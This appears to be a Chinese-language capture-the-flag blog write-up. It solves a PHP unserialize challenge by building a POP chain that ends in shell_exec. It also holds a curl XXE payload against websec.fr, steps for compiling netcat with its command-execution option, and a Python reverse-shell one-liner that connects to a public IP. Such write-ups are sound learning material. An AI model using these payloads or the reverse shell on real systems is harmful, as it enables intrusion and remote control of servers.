curl -s --data 'submit=&class=SimpleXMLElement&param2=2&param1=<!DOCTYPE xxe [<!ENTITY foo SYSTEM "http://127.0.0.1/level12/index.php">]><root>%26foo;</root>' http://websec.fr/level12/index.php | grep -oE -m1 'WEBSEC{.*}'
  

ppppp好耶

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);
highlight_file(__FILE__);
class A
{
public $A1;
public $A2;
public function __call($name,$param)
{
if($this->{$name})
{
$A3 = $this->{$name};
$A3();
}
}
public function __get($wuhu)
{
return $this->A2[$wuhu];
}
}


class B
{
public $B1;
public $B2;
public function __destruct()
{
$this->B1->godmi();
}
}

class C
{
public $C1;
public $C2;
public $C3;
public function __invoke()
{
$this->C2 = $this->C3.$this->C1;
}
}

class D
{
public $D1;

public function FLAG()
{
echo 'DDDD';
shell_exec($this->D1);
}
}
class E
{
public $E1;
public $E2;
public function __toString()
{
$this->E1->{$this->E2}();
return "1";
}
}
$ppppp = $_POST['Troy3e'];
unserialize($ppppp);
?>

反序列化步骤

很多魔术方法,需要根据逻辑构造pop链:

这里唯一可以自动调用的是B的destruct,在php脚本结束时自动调用

1
2
3
4
public function __destruct()
{
$this->B1->godmi();
}

这里调用了一个不存在的函数:米神函数,对应的是__call方法,$name和$param对应的是调用中不存在的函数名参数。B(destruct)->A(call)

call中有一个if判断:

1
2
3
4
5
if($this->{$name})
{
$A3 = $this->{$name};
$A3();
}

调用了A中的{$name}属性,{}解释器会解释为godmi,就是调用了A中的godmi属性,而此属性不存在,对应的是

__get方法。B(destruct)->A(call)->A(get)

1
2
3
4
public function __get($wuhu)
{
return $this->A2[$wuhu];
}

$wuhu这里获取的是不存在的属性名,返回的是A2[godmi]。这里要控制的A2[godmi]关联到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function __call($name,$param)
{
if($this->{$name})
{
$A3 = $this->{$name};
$A3();
}
}

class C
{
public $C1;
public $C2;
public $C3;
public function __invoke()
{
$this->C2 = $this->C3.$this->C1;
}
}

控制A2[godmi]便可控制A3为C的实例化,以函数方法调用C类,这里就会触发__invoke方法。而赋值操作中有一个拼接,按字符串形式处理,可以触发E的__toString方法。

B(destruct)->A(call)->A(get)->A(call)->C(invoke)->E(tostring)

1
2
3
4
5
public function __toString()
{
$this->E1->{$this->E2}();
return "1";
}

控制E1和E2,就可以调用D中的FLAG方法了!

pop:

B(destruct)->A(call)->A(call)->C(invoke)->E(tostring)->D(FLAG)->shell_exec()

构造反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$c=new C();
$b=new B();
$a=new A();
$e=new E();
$d=new D();

$d->D1='你的命令';
$e->E1=$d;
$e->E2="FLAG";
$c->C1=$e;
$a->A2['godmi']=$c;
$b->B1=$a;

echo '<br>';
echo serialize($b);

然后就差不多了,可以命令执行了,虽说后来换成了system……

下面是我用shell_exec弹shell的过程,卡了两天才知道要用公网IP……果然还是cai……

服务器部署netcat:

翻了好几个博客总结的,用起来很丝滑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
下载源码包:wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz

解压安装包,tar -zxvf netcat-0.7.1.tar.gz

移动文件到/usr/local下:
mv netcat-0.7.1 /usr/local/netcat-0.7.1

重命名:
cd /usr/local
mv netcat-0.7.1 netcat

./configure --enable-DGAPING_SECURITY_HOLE

编译:make

安装:make install

环境变量暂时未配置成功,但仍可使用,此时:
sudo which nc 应可以看到 bin/nc
使用bin/nc即可使用nc命令


或者:
wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
tar zxvf netcat-0.7.1.tar.gz
cd netcat-0.7.1
./configure --enable-DGAPING_SECURITY_HOLE
make
make install

image-20210326222805812

反弹shell

虽说靶机上有nc,但一直没有成功……

这里推荐:https://xz.aliyun.com/t/5768#toc-3 很详细

php也可反弹,但是是瞬间反弹……这里用的是python反弹:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("139.224.100.60",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

远程服务器监听4444端口:

image-20210326223239023

反弹成功

image-20210326223300541

执行命令cat flag即可……

好耶!白嫖阿里云服务器真香!!🐕

It is uneasy right??!

  

:D 一言句子获取中...